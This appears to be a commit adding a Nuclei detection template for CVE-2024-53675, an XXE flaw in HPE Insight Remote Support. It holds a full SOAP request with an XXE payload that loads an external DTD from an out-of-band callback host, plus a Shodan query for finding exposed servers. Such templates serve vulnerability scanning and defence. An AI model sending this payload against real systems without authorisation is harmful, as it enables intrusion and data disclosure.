Create CVE-2024-53675.yaml

2026-11-07 08:36:19 -10:00 · 2025-03-05 04:57:32 +05:30
1 changed files with 69 additions and 0 deletions
@@ -0,0 +1,69 @@
+id: CVE-2024-53675
+
+info:
+  name: HPE Insight Remote Support validateAgainstXSD -  XXE
+  author: DhiyaneshDK
+  severity: high
+  description: |
+    An XML external entity injection (XXE) vulnerability in HPE Insight Remote Support may allow remote users to disclose information in certain cases.
+  reference:
+    - https://github.com/pwnfuzz/POCs/blob/main/CVE%202024-53675/CVE-2024-53675.py
+    - https://www.zerodayinitiative.com/advisories/ZDI-24-1638/
+    - https://github.com/pwnfuzz/POCs
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
+    cvss-score: 7.3
+    cve-id: CVE-2024-53675
+    cwe-id: CWE-91,CWE-611
+    epss-score: 0.00087
+    epss-percentile: 0.39612
+    cpe: cpe:2.3:a:hpe:insight_remote_support:*:*:*:*:*:*:*:*
+  metadata:
+    max-request: 1
+    vendor: hpe
+    product: insight_remote_support
+    shodan-query: title:"HP Systems Insight Manager"
+  tags: cve,cve2024,hpe,insight,remote,xxe,oast
+
+http:
+  - raw:
+      - |
+        POST /DeviceRegistration/DeviceRegistration.svc HTTP/1.1
+        Host: {{Hostname}}
+        Accept-Encoding: gzip, deflate, br
+        Accept: */*
+        Content-Type: application/soap+xml;charset=UTF-8
+
+        <soap12:Envelope xmlns:soap12="http://www.w3.org/2003/05/soap-envelope"
+                         xmlns:wsa="http://www.w3.org/2005/08/addressing"
+                         xmlns:tns="http://www.hp.com/it/sa/reg/">
+            <soap12:Header>
+                <wsa:Action>http://www.hp.com/it/sa/reg/Registration/RegisterDevice</wsa:Action>
+                <wsa:MessageID>urn:uuid:4f39c4ca-ac68-4388-85ac-f9be808f176f</wsa:MessageID>
+                <wsa:To>https://localhost/DeviceRegistration/DeviceRegistration.svc</wsa:To>
+                <tns:AuthenticationHeader>
+                    <tns:Gdid>exampleGdid</tns:Gdid>
+                    <tns:RegistrationToken>exampleToken</tns:RegistrationToken>
+                </tns:AuthenticationHeader>
+            </soap12:Header>
+            <soap12:Body>
+                <tns:RegisterDevice>
+                    <tns:identifiers>
+                                <![CDATA[
+                            <!DOCTYPE a SYSTEM "{{interactsh-url}}/malicious.dtd">
+                            <a>&callhome;</a>
+                        ]]>
+                    </tns:identifiers>
+                    <tns:userId>user123</tns:userId>
+                    <tns:password>password123</tns:password>
+                    <tns:locale>en-US</tns:locale>
+                    <tns:optIn>true</tns:optIn>
+                </tns:RegisterDevice>
+            </soap12:Body>
+        </soap12:Envelope>
+
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "dns"